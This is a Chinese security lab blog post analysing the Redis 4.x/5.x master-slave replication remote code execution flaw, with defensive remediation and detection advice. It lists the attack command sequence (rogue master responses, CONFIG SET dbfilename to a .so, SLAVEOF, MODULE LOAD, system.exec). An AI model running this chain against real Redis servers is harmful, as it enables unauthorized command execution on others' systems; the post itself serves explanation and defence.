咨詢服務熱線

400-6446-808

創安實驗室專欄
您的當前位置:首頁 > 創安實驗室專欄
創安實驗室專欄丨Redis主從複制(zhì)RCE分析
發布者:創信華通(tōng)  發布時(shí)間(jiān):2023-01-09  浏覽量:809次











古語有(yǒu)雲:“學如逆水(shuǐ)行(xíng)舟,不進則退。”面對如今随時(shí)都在變化的網絡安全環境更是如此。為(wèi)此,創信華通(tōng)微信公衆号特開(kāi)設“創安實驗室專欄”,以記錄創信華通(tōng)創安實驗室在技(jì)術(shù)上(shàng)的探索,加強同行(xíng)間(jiān)的交流,相互學習,共同進步。


+

+

Redis主從複制(zhì)RCE分析

漏洞描述

Redis是一套開(kāi)源的使用ANSIC編寫、支持網絡、可(kě)基于內(nèi)存亦可(kě)持久化的日志(zhì)型、鍵值存儲數(shù)據庫,并提供多(duō)種語言的API。由于其高(gāo)可(kě)用性和(hé)速度優勢,常用于緩存系統(“熱點”數(shù)據:高(gāo)頻讀、低(dī)頻寫)、計(jì)數(shù)器(qì)、消息隊列系統、排行(xíng)榜、社交網絡和(hé)實時(shí)系統等。

Redis主從複制(zhì)RCE是在主從複制(zhì)基礎上(shàng),通(tōng)過複制(zhì)惡意文件到本地,結合模塊加載功能将惡意文件成功加載,調用惡意文件接口實現命令執行(xíng)。

影(yǐng)響

Redis 4.x 和(hé)Redis 5.x版本

漏洞原理(lǐ)

Redis 2.8版本在原有(yǒu)單機架構的基礎上(shàng),為(wèi)了解決單機宕機的風險,引入主從複制(zhì)的機制(zhì),通(tōng)過主服務器(qì)将數(shù)據備份到從服務器(qì)上(shàng),由主服務器(qì)負責處理(lǐ)外部寫操作(zuò),從服務器(qì)負責讀操作(zuò)。通(tōng)過數(shù)據複制(zhì),Redis的一個(gè)master可(kě)以挂載多(duō)個(gè)slave,而slave下還(hái)可(kě)以挂載多(duō)個(gè)slave,形成多(duō)層嵌套結構。所有(yǒu)寫操作(zuò)都在master實例中進行(xíng),master執行(xíng)完畢後,将寫指令分發給挂在自己下面的slave節點。slave節點下如果有(yǒu)嵌套的slave,會(huì)将收到的寫指令進一步分發給挂在自己下面的slave。

Redis提供了2種不同的持久化方式,RDB方式(在指定的時(shí)間(jiān)間(jiān)隔內(nèi)生(shēng)成數(shù)據集的時(shí)間(jiān)點快照)和(hé)AOF方式(記錄服務器(qì)執行(xíng)的所有(yǒu)寫操作(zuò)命令).AOF方式備份數(shù)據庫的文件名默認為(wèi)appendonly.aof,可(kě)以在配置文件中通(tōng)過修改appendfilename參數(shù)進行(xíng)修改,無法在客戶端交互中動态設置appendfilename,而RDB方式備份數(shù)據庫的文件名默認為(wèi)dump.rdb,此文件名可(kě)以通(tōng)過客戶端交互動态設置dbfilename來(lái)更改。

主從複制(zhì)模式下數(shù)據單向從主節點流向從節點,在從節點首次注冊時(shí),會(huì)對主節點數(shù)據進行(xíng)全量複制(zhì),複制(zhì)過程中用offset記錄讀取的數(shù)據大(dà)小(xiǎo),以便中斷後斷點續傳。如果從節點初始沒有(yǒu)數(shù)據,通(tōng)過主從複制(zhì),可(kě)以将主節點設置的dbfilename文件全量複制(zhì)到從節點的dbfilename中,從而實現任意文件上(shàng)傳。

任意Redis服務器(qì)在啓動時(shí)默認作(zuò)為(wèi)Master主節點,當執行(xíng)SLAVEOF命令後自動發送請(qǐng)求注冊成為(wèi)目标的從節點,未對主節點信息進行(xíng)校(xiào)驗。

在Reids 4.x之後,Redis新增了模塊功能,通(tōng)過寫c語言并編譯出.so文件作(zuò)為(wèi)外部拓展,可(kě)以實現在redis中實現一個(gè)新的Redis命令。

因此,可(kě)以通(tōng)過自己模拟Redis服務器(qì),通(tōng)過執行(xíng)命令設置将其設置為(wèi)主節點,通(tōng)過自行(xíng)構造主服務器(qì)響應的情況,通(tōng)過FULLRESYNC命令無損寫入想要寫的文件。結合任意模塊加載,實現任意命令執行(xíng)。

攻擊流程

0x00 模拟Redis主服務器(qì)

主服務器(qì)需要執行(xíng)的響應內(nèi)容如下:

[>] PING – 從服務器(qì)探測主服務器(qì)是否存活

[<] +PONG  存活響應

[>] REPLCONF – 交換主從節點複制(zhì)信息

[<] +OK     确認

[>] PSYNC/SYNC – 同步狀态以及傳輸方式

[<] +FULLRESYNC  同步數(shù)據

0x01 複制(zhì)加載

Config set dir /path/

Config set dbfilename test.so  修改備份文件路徑

SLAVEOF host port 設置為(wèi)對應服務器(qì)的從節點

MODULE LOAD /path/test.so 加載複制(zhì)過來(lái)的

SLAVEOF no one  關閉主從複制(zhì)關系(防止髒數(shù)據複制(zhì))

System.exec ‘command’ 執行(xíng)命令

對應流量特征如下:

修複建議

主從複制(zhì)RCE實現條件:

□ Redis可(kě)訪問(未授權或有(yǒu)憑據)

□ 可(kě)動态修改備份文件路徑

□ 主從未校(xiào)驗可(kě)信服務端

依據上(shàng)述情況,可(kě)以對應防護:

① Redis設置訪問白名單(入 防止惡意訪問和(hé)出 防止惡意設置為(wèi)主從)

② Redis添加認證

在配置文件/etc/redis/redis.conf中修改requirepasss屬性為(wèi)強口令,完成後重啓服務器(qì)

動态命令設置config set requirepass YorPass

③ 重命名相關命令

在配置文件/etc/redis/redis.conf中

rename-command CONFIG PDZA1DA也可(kě)以rename-command CONFIG "" 設置為(wèi)空(kōng)來(lái)禁用

對于惡意特征,可(kě)以通(tōng)過MODULE LIST命令查看當前加載的模塊信息,重點關注非官方加載或者SYSTEM、EXEC等惡意關鍵詞,監控Redis服務器(qì)上(shàng)Redis進程寫入的so文件(Windows為(wèi)DLL文件),流量中可(kě)以重點關注FULLRESYNC命令以及相關文件二進制(zhì)特征(Webshell,Cron,Authorized_keys,so和(hé)DLL等)。

E·N·D


本文由創信華通(tōng)創安實驗室編輯。

本文僅限于個(gè)人(rén)學習和(hé)技(jì)術(shù)研究,由于傳播、利用此文所提供的信息而造成刑事案件、非授權攻擊等違法行(xíng)為(wèi),均由使用者本人(rén)負責,本單位不為(wèi)此承擔任何責任。創安攻防實驗室擁有(yǒu)對此文章的修改和(hé)解釋權,如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明(míng)等全部內(nèi)容。


如有(yǒu)侵權,請(qǐng)聯系後台。




創安實驗室

創信華通(tōng)創安實驗室,是成都伍紀信息科技有限公司旗下的技(jì)術(shù)研究團隊,成立于2021年9月,主要研究紅藍(lán)對抗、重大(dà)安全保障、應急響應等方向。

創安攻防實驗室圓滿完成了多(duō)次公安舉辦的重要網絡安全保障和(hé)攻防演習活動,并積極參加各類網絡安全競賽,屢獲殊榮。

創安攻防實驗室秉承創信華通(tōng)的發展理(lǐ)念,緻力打造國內(nèi)一流網絡安全團隊。